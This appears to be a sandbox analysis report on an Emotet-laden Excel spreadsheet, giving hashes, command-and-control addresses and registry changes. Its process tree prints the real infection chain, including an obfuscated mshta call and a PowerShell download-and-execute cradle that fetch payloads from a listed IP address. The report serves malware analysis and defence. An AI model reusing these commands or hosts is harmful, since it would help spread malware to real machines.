emotet | 4f4165053ebe5fa260fb389ba3f0076ca600f4a70058f59a574f1fde55e1b7c2

Analysis

max time kernel
154s
max time network
155s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 00:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DATA_8972.xls
Size

35KB
MD5

1ccc2cda134d3cc1c45149d11a9f4aa3
SHA1

b995158806fbbd4aaef52984f606d20663c82f4c
SHA256

4f4165053ebe5fa260fb389ba3f0076ca600f4a70058f59a574f1fde55e1b7c2
SHA512

2e48edbfeed1c2d6fc734c7060059284835068fc49dd6493f6a52c2479890d3d4fb9a0010e95140aaee5420129b39dd4e8dae4730a4bb69e7617ad7f11c8a84b

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1480	1100	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 276 mshta.exe
5 1148 powershell.exe
7 1148 powershell.exe
9 1148 powershell.exe
11 768 rundll32.exe
13 768 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1584 rundll32.exe
1584 rundll32.exe
1584 rundll32.exe
1584 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Jwlyoiovsdn\nsigczrtu.ypn rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	276	mshta.exe
5	1148	powershell.exe
7	1148	powershell.exe
9	1148	powershell.exe
11	768	rundll32.exe
13	768	rundll32.exe

pid	process
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1584	rundll32.exe
1584	rundll32.exe
1584	rundll32.exe
1584	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Jwlyoiovsdn\nsigczrtu.ypn	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1100 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1148 powershell.exe
768 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1148 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1100 EXCEL.EXE
1100 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1100 EXCEL.EXE
1100 EXCEL.EXE
1100 EXCEL.EXE

pid	process
1100	EXCEL.EXE

pid	process
1148	powershell.exe
768	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1148	powershell.exe

pid	process
1100	EXCEL.EXE
1100	EXCEL.EXE

pid	process
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1100 wrote to memory of 1480	1100	EXCEL.EXE	CMD.EXE
PID 1100 wrote to memory of 1480	1100	EXCEL.EXE	CMD.EXE
PID 1100 wrote to memory of 1480	1100	EXCEL.EXE	CMD.EXE
PID 1100 wrote to memory of 1480	1100	EXCEL.EXE	CMD.EXE
PID 1480 wrote to memory of 276	1480	CMD.EXE	mshta.exe
PID 1480 wrote to memory of 276	1480	CMD.EXE	mshta.exe
PID 1480 wrote to memory of 276	1480	CMD.EXE	mshta.exe
PID 1480 wrote to memory of 276	1480	CMD.EXE	mshta.exe
PID 276 wrote to memory of 1148	276	mshta.exe	powershell.exe
PID 276 wrote to memory of 1148	276	mshta.exe	powershell.exe
PID 276 wrote to memory of 1148	276	mshta.exe	powershell.exe
PID 276 wrote to memory of 1148	276	mshta.exe	powershell.exe
PID 1148 wrote to memory of 1588	1148	powershell.exe	cmd.exe
PID 1148 wrote to memory of 1588	1148	powershell.exe	cmd.exe
PID 1148 wrote to memory of 1588	1148	powershell.exe	cmd.exe
PID 1148 wrote to memory of 1588	1148	powershell.exe	cmd.exe
PID 1588 wrote to memory of 1612	1588	cmd.exe	rundll32.exe
PID 1588 wrote to memory of 1612	1588	cmd.exe	rundll32.exe
PID 1588 wrote to memory of 1612	1588	cmd.exe	rundll32.exe
PID 1588 wrote to memory of 1612	1588	cmd.exe	rundll32.exe
PID 1588 wrote to memory of 1612	1588	cmd.exe	rundll32.exe
PID 1588 wrote to memory of 1612	1588	cmd.exe	rundll32.exe
PID 1588 wrote to memory of 1612	1588	cmd.exe	rundll32.exe
PID 1612 wrote to memory of 1584	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1584	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1584	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1584	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1584	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1584	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1584	1612	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1900	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1900	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1900	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1900	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1900	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1900	1584	rundll32.exe	rundll32.exe
PID 1584 wrote to memory of 1900	1584	rundll32.exe	rundll32.exe
PID 1900 wrote to memory of 768	1900	rundll32.exe	rundll32.exe
PID 1900 wrote to memory of 768	1900	rundll32.exe	rundll32.exe
PID 1900 wrote to memory of 768	1900	rundll32.exe	rundll32.exe
PID 1900 wrote to memory of 768	1900	rundll32.exe	rundll32.exe
PID 1900 wrote to memory of 768	1900	rundll32.exe	rundll32.exe
PID 1900 wrote to memory of 768	1900	rundll32.exe	rundll32.exe
PID 1900 wrote to memory of 768	1900	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\DATA_8972.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jwlyoiovsdn\nsigczrtu.ypn",ZPWbbafnc
8⤵
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jwlyoiovsdn\nsigczrtu.ypn",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
